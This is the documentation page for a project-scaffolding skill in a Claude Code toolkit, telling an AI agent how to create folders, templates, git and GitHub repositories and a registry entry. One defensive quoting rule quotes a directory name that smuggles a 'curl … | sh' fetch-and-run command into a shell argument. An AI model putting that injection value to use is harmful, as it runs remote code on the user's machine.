vt-d-scaffold¶
Scaffold a new project with universal folder structure, CLAUDE.md, PRODUCT-VISION.md, and PRD.md. Works for coding, knowledge work, design, and mixed projects.
Plugin: vt-product-dev
Category: Project Setup
Command: /vt-d-scaffold
Scaffold Skill¶
Scaffold a new project with the right folder structure for Claude Code workflows. Creates the universal base plus type-specific directories.
Relationship to /vt-d-bootstrap¶
/vt-d-scaffoldcreates the universal project structure (folders, CLAUDE.md, PRODUCT-VISION.md, PRD.md, .gitignore, git init)/vt-d-bootstrapadds full tech-stack configs (package.json, tsconfig, CI workflows) to coding projects
For coding projects: /vt-d-scaffold coding my-app then optionally /vt-d-bootstrap typescript-api .
Invocation¶
# Interactive mode - prompts for all options
/vt-d-scaffold
# With project type and name
/vt-d-scaffold coding my-service
/vt-d-scaffold knowledge market-research
/vt-d-scaffold design new-dashboard
/vt-d-scaffold mixed feasibility-study
Prerequisites¶
- Git - Required for repository initialization
- GitHub CLI (
gh) - Optional, for automatic remote repository creation. Install:brew install gh && gh auth login
Execution Instructions¶
Step 1: Gather Requirements¶
If arguments were not provided, use AskUserQuestion to gather:
- Project Type - Ask which type:
coding- Software development (then use/vt-d-bootstrapfor tech-stack setup)knowledge- Documentation, research, analysis, content creationdesign- Product design, UX design, iterative design workflows-
mixed- Research that may lead to code, feasibility studies -
Project Name - The directory name (use current directory name if already in the target folder)
Step 2: Check Current Directory¶
Before creating structure: - If current directory is empty → use current directory - If project-name argument provided AND current directory is different → create new subdirectory - If directory already has files → ask before proceeding, preserve existing files
Step 3: Create Universal Base¶
All project types get this structure:
project-root/
├── PRODUCT-VISION.md # Strategic vision (from templates/vt-d-scaffold/base/)
├── PRD.md # Requirements starter (from templates/vt-d-scaffold/base/)
├── CLAUDE.md # Project instructions (type-specific template)
├── README.md # Generated with project name and type
├── .gitignore # Type-specific (from templates/vt-d-scaffold/)
├── .mcp.json # MCP server config stub (from templates/vt-d-scaffold/base/)
├── .design-state.yaml # Spec tracking (SPEC-195 FR-4)
├── 00-inbox/
│ └── README.md # Input buffer (from templates/scaffold/base/inbox-README.md)
├── 01-docs/
│ └── journal/
│ └── .gitkeep
└── specs/
└── .gitkeep # The declared spec folder (SPEC-195 FR-4)
Every project type gets specs/ and a .design-state.yaml, not only design — reason: without
them /vt-d-activate and /vt-d-spec-from-requirements fall back to probing, and the dashboard
skips the project as having no spec tracking.
coding(including the Python sub-option),knowledgeandmixed: copytemplates/scaffold/base/design-state.yamlverbatim.design:templates/scaffold/design/design-state.yamlfrom Step 4 instead — it carries the samespecs_directory: specs/plus the design workflow's own keys.
Both templates declare specs_directory: specs/ and a block-style specs_status:. Never write
specs_status: {} — reason: flow style is what aggregate.sh reports as malformed, and the
project then disappears from every cross-project dashboard.
Use the template files from templates/scaffold/base/ for PRODUCT-VISION.md and PRD.md. Fill in the project name in the templates.
Use templates/scaffold/base/inbox-README.md for the inbox README.
Use templates/scaffold/base/.mcp.json for the MCP server configuration stub.
Use templates/scaffold/base/.claudeignore for the .claudeignore file (SPEC-114 / FR-14, FR-16) — copy verbatim to project root for all project types. Hides credentials, secret directories, and context-polluting artifacts from Claude's tool operations when the claudeignore-guard.sh PreToolUse hook is registered.
Step 4: Add Type-Specific Structure¶
Type: coding¶
Create:
- 01-docs/adr/.gitkeep
- 01-docs/runbooks/.gitkeep
- 01-docs/solutions/patterns/critical-patterns.md (from templates/scaffold/coding/critical-patterns.md)
- .env.example with comment: # Environment variables for [project-name]
- .gitleaks.toml (from templates/scaffold/coding/.gitleaks.toml) — SPEC-114 / FR-15. Config for the gitleaks CLI secret scanner (user installs gitleaks separately).
- Use templates/scaffold/coding/CLAUDE.md for CLAUDE.md
- Use templates/scaffold/coding/gitignore-coding for .gitignore
Optional (ask user):
- 01-docs/user-manual/ → End-user documentation site (MkDocs). Only create if user opts in. See /vt-d-1-bootstrap for the scaffolded structure.
- .beads/ → Persistent issue tracking with Beads. Only create if user opts in. See /vt-d-1-bootstrap for initialization steps.
Ask user for language stack (optional):
What language / stack? (can be skipped) - Python (adds
.venv/,requirements.txt,pyproject.toml, venv allowlist — see Sub-option below) - TypeScript / Node (defer to/vt-d-1-bootstrap) - Other / skip (generic coding setup only)
Sub-option: Python¶
When the user selects Python:
- Probe for Python interpreter in order (EC-01):
python3.12,python3.11,python3,python. If none found, stop and emit:"No suitable Python interpreter found. Install Python 3.11+ from https://www.python.org/downloads/ and re-run this step." Do NOT silently skip venv creation.
- Create the virtual environment: run
<python-cmd> -m venv .venvat the project root. Verify.venv/pyvenv.cfgexists afterward (SPEC-115 / PEP 405 signal). - Copy templates from
templates/scaffold/python/: requirements.txtverbatim.pyproject.tomlwithPROJECT_NAMEreplaced by the sanitized project name.- Merge
templates/scaffold/python/.claude/settings.jsoninto the project's.claude/settings.json: - If the project file does not exist, copy verbatim.
- If it exists, append the Python
permissions.allowentries (deduplicate). - Verify
.venv/in.claudeignore: the SPEC-114.claudeignoretemplate already includes.venv/. Confirm and skip if present; append otherwise. - Post-scaffold message:
"Python project ready. Next:
source .venv/bin/activateand.venv/bin/pip install -r requirements.txt(once requirements are pinned). See/vt-d-python-securityfor supply-chain best practices includingpip-audit,--require-hashes, and lockfile hygiene."
Security rationale: SPEC-115 deny rules block bare pip install globally; the project allowlist scoped to .venv/bin/... and .venv/Scripts/... is what re-enables installs inside the venv without unlocking the system Python.
Type: knowledge¶
Create:
- 01-docs/deliverables/.gitkeep
- 01-docs/sources/.gitkeep
- 01-docs/drafts/.gitkeep
- Use templates/scaffold/knowledge/CLAUDE.md for CLAUDE.md
- Use templates/scaffold/base/gitignore-base for .gitignore
Type: design¶
Create:
- 01-docs/deliverables/.gitkeep
- 01-docs/deliverables/implementation-readiness/.gitkeep
- 01-docs/research/.gitkeep
- .design-state.yaml (from templates/scaffold/design/design-state.yaml)
- Use templates/scaffold/design/CLAUDE.md for CLAUDE.md
- Use templates/scaffold/base/gitignore-base for .gitignore
Type: mixed¶
mkdir -p src scripts 01-docs/adr 01-docs/deliverables 01-docs/deliverables/implementation-readiness 01-docs/research 01-docs/solutions/patterns
Create:
- 01-docs/adr/.gitkeep
- 01-docs/deliverables/.gitkeep
- 01-docs/deliverables/implementation-readiness/.gitkeep
- 01-docs/research/.gitkeep
- 01-docs/solutions/patterns/critical-patterns.md (from templates/scaffold/coding/critical-patterns.md)
- .gitleaks.toml (from templates/scaffold/coding/.gitleaks.toml) — SPEC-114 / FR-15. Mixed projects include code.
- Use templates/scaffold/mixed/CLAUDE.md for CLAUDE.md
- Use templates/scaffold/coding/gitignore-coding for .gitignore
Step 5: Generate README.md¶
# [Project Name]
[One-line description from PRODUCT-VISION.md if already filled in, otherwise placeholder]
## Getting Started
See [PRODUCT-VISION.md](PRODUCT-VISION.md) for the project vision and [PRD.md](PRD.md) for requirements.
## Project Structure
[Show the created folder structure]
## Claude Code Integration
This project uses [VisiTrans Claude Toolkit](https://github.com/...) standards.
- Project instructions: [CLAUDE.md](CLAUDE.md)
- Global standards: `~/.claude/CLAUDE.md`
- Session journals: `01-docs/journal/`
Step 6: Initialize Git¶
# Only if .git doesn't exist
git init
git add .
git commit -m "Initialize [project-type] project: [project-name]"
Step 6.5: Register Project in Toolkit¶
Register this project in the toolkit's project registry so /vt-t-toolkit-review can scan it for procedure improvement proposals.
- Check first — skip the registration when the project is already known:
Exit 0 AND field 5 equals this repository's toplevel OR its main checkout (the parent of
git rev-parse --path-format=absolute --git-common-dir): already registered (or the toolkit
itself) — skip to item 4. Exit 0 with field 5 matching neither: this repository is not
registered, it merely sits inside one — continue. Exit 1: continue. Exit 2 or a
missing script: report "Toolkit defect:
Exit 0 alone does NOT mean THIS repository is registered: pr_match is a longest-PREFIX match, so a git repository nested inside a registered umbrella resolves with the umbrella's id and path, exit 0. Compare field 5 against BOTH this repository's own git rev-parse --path-format=absolute --show-toplevel AND its main checkout — the parent of git rev-parse --path-format=absolute --git-common-dir. Equal to either means the match IS this repository. Both comparisons are required: in a worktree the toplevel is the worktree while field 5 is the main checkout, so a toplevel-only test reads "not registered" for every worktree of every registered project and would register the same repository a second time under a second id (review pass 10, P10-DOC-1 — the id V025 row already handled "or one of its worktrees"; nothing else did). (If field 5 and the local path differ merely in spelling — case, Unicode normalisation, or an APFS firmlink — the registry writer refuses the duplicate, so that path ends in a refusal, never a second entry.) Review pass 9, P9-DOC-1: without the comparison at all, a nested repository could never be registered through any documented path.
-
Ask for the project id, the parent (sub-repositories only) and the spec folder (only when the repository declares none) as
~/.claude/skills/vt-c-project-register/references/registry-item-prompt.mddescribes. Path is$(pwd), name the project name, type the type from Step 1. A freshly scaffolded project declaresspecs_directory: specs/, so the spec-folder question is skipped. -
Write through the registry writer, with the quoting rule and exit-code handling of that reference (0 written; 3 refused → re-ask a value-level refusal, stop registering on a terminal one — the reference's exit table says which is which; 2 toolkit defect → report and continue scaffolding):
bash ~/.claude/skills/vt-c-project-register/scripts/registry_write.sh add \
--path "$(pwd)" --name '[project name]' --type '[type from Step 1]' --id '[id]' \
--parent '[parent]' --domain '[domain]'
Omit every flag whose value is empty; a private project gets --board false instead of --id.
Quoting — state it here, do not follow the link for it. Put every value in single quotes,
and refuse to run the command if any value contains a ' — stop and ask instead. Reason:
the project name and path come from the repository being scaffolded, so a directory called
App'$(curl -s http://x|sh)' closes the quote and the substitution runs as you. The writer
cannot save you: by the time it parses argv the injection has already executed. This rule is
repeated in full at each call site on purpose — a reader who only follows the reference is the
reader who skips the check. --path "$(pwd)" is the one exception: the output of a command or
variable expansion is never re-parsed, so it is safe in double quotes.
Never append to intake/projects.yaml with a heredoc — reason: an item without an id turns the
id guard red, and a second entry for the same path is aggregated twice.
Then record the write (BUG-251) — the registry lives in the toolkit checkout, not in the project being scaffolded, and left uncommitted there the entry is destroyed by the next reset, merge or branch switch. The stub derives the toolkit checkout from its own physical location:
bash ~/.claude/skills/vt-c-project-register/scripts/commit-registry-write.sh \
"chore(intake): register a scaffolded project (BUG-251)"
The subject is a constant on purpose: the project name would sit inside double quotes, where
$(…) in a directory name runs before the script sees it — the single-quote rule above cannot
protect this line. Show its output verbatim. The script commits only when that is safe — never on main, a
detached HEAD, or mid-merge — and otherwise states the risk, which is the point.
- Create the proposals folder:
# Canonical path is docs/ (SPEC-150 FR-6) — the same path project-register,
# project-sync, and toolkit-review write/read; 01-docs/ was never swept.
mkdir -p "docs/toolkit-proposals"
Note: This step asks for the project id, then writes. If the toolkit is not installed or reports a defect, scaffolding continues without registering — say so in the final summary.
Step 7: Unified Repo Governance (Optional)¶
Ask the user whether to enable unified repo governance:
Use AskUserQuestion:
Enable unified repo governance?
This adds partition boundaries (deployable/context/sandbox), Git LFS for binaries,
and deployment integrity checks.
Options:
- Yes (Recommended) — Run /vt-c-repo-init inline to set up .repo-manifest.yaml, Git LFS, and .gitattributes
- No — Skip governance. Can enable later with /vt-c-repo-init
If "Yes": Execute /vt-c-repo-init steps (detect structure, create manifest, init LFS, update .gitignore).
Step 8: GitHub Remote Setup¶
8a: Check GitHub CLI¶
- Check if
ghis installed:
If NOT installed, show setup guide and skip the rest of Step 8:
⚠ GitHub CLI is required for remote repository setup.
Install:
brew install gh
Then authenticate:
gh auth login
→ Select "GitHub.com"
→ Select "HTTPS"
→ Authenticate via browser
After setup, re-run /vt-d-scaffold or manually create the remote:
gh repo create Visitrans/[project-name] --private --source=. --push
- Check authentication:
If NOT authenticated, guide the user and skip the rest of Step 8:
⚠ GitHub CLI is installed but not authenticated.
Run:
gh auth login
→ Select "GitHub.com"
→ Select "HTTPS"
→ Authenticate via browser
Then re-run /vt-d-scaffold or manually create the remote.
- Check org membership (informational — does not block):
If
Visitransis not in the org list, note this for the fallback option in 8b.
8b: Ask about remote repository¶
Use AskUserQuestion:
Options: - Visitrans org (Recommended) — Creates private repo at github.com/Visitrans/[project-name] - Personal account — Creates private repo under your personal GitHub account - Skip — No remote repository, local only
All VisiTrans repos are always private. Public repos are not offered.
If the org membership check in 8a failed, inform the user:
Note: Your GitHub account may not be a member of the Visitrans org.
You can still try — if it fails, use the personal account option.
8c: Create the remote¶
If Visitrans org:
If personal account:
8d: Verify and display¶
On success:
✓ Remote repository created!
URL: https://github.com/Visitrans/[project-name]
Reminder: Enable branch protection for main in GitHub settings.
Recommended: Enable "Automatically delete head branches" in GitHub repo settings.
This removes remote branches automatically after PR merge.
On failure (permission denied, name conflict, etc.):
✗ Failed to create remote repository.
Common causes:
- You may not have permission to create repos in the Visitrans org
→ Ask an org admin for the "Repository creator" role
- A repo with this name may already exist
→ Check: gh repo view Visitrans/[project-name]
- Authentication issue
→ Run: gh auth status
You can create the remote manually later:
gh repo create Visitrans/[project-name] --private --source=. --push
Step 9: Show Next Steps¶
Based on project type, show appropriate next steps:
Coding:
Project initialized!
Next steps:
1. Edit PRODUCT-VISION.md with your project vision
2. Run /vt-d-bootstrap [stack] to add tech-stack configs:
- /vt-d-bootstrap typescript-api
- /vt-d-bootstrap react-app
- /vt-d-bootstrap nextjs-app
3. Run /vt-d-kw-prd to create the full PRD
4. Start development: /vt-d-0-start
Available workflows:
- /vt-d-0-start Development workflow
- /vt-d-kw-prd Create full PRD
- /vt-c-journal Capture decisions
Knowledge:
Project initialized!
Next steps:
1. Edit PRODUCT-VISION.md with your project vision
2. Run /vt-d-kw-prd to create the full PRD
3. Start working: /vt-d-activate
Available workflows:
- /vt-d-activate Knowledge work workflow
- /vt-d-kw-prd Create full PRD
- /vt-c-journal Capture decisions
- /vt-c-consolidate Synthesize learnings
Design:
Project initialized!
Next steps:
1. Edit PRODUCT-VISION.md with your project vision
2. Start design workflow: /vt-d-pd-0-start
3. Create PRD when ready: /vt-d-pd-2-prd
Available workflows:
- /vt-d-pd-0-start Product design workflow
- /vt-d-pd-2-prd Create full PRD
- /vt-c-journal Capture decisions
Mixed:
Project initialized!
Next steps:
1. Edit PRODUCT-VISION.md with your project vision
2. Start with research: /vt-d-activate
3. When code is needed: /vt-d-bootstrap [stack]
Available workflows:
- /vt-d-activate Knowledge work (research phase)
- /vt-d-0-start Development workflow (when code begins)
- /vt-d-kw-prd Create full PRD
- /vt-c-journal Capture decisions
Handling Existing Files¶
- If PRODUCT-VISION.md, PRD.md, CLAUDE.md, or README.md already exist → do not overwrite, skip with a note
- If
.mcp.jsonalready exists → do not overwrite, skip with a note - If
.claudeignorealready exists → do not overwrite, skip with a note (SPEC-114) - If
.gitleaks.tomlalready exists → do not overwrite, skip with a note (SPEC-114) - If
00-inbox/already exists → skip creation, do not overwrite - If
01-docs/ordocs/directory exists → preserve contents, add missing subdirectories - If .git exists → skip git init
- If .gitignore exists → do not overwrite
Template Files Location¶
All templates are in V025-claude-toolkit/templates/scaffold/:
- base/ - Universal files (PRODUCT-VISION.md, PRD.md, inbox-README.md, gitignore-base, .mcp.json, .claudeignore)
- coding/ - Coding project files (CLAUDE.md, gitignore-coding, critical-patterns.md, .gitleaks.toml)
- knowledge/ - Knowledge work files (CLAUDE.md)
- design/ - Design project files (CLAUDE.md, design-state.yaml)
- mixed/ - Mixed project files (CLAUDE.md)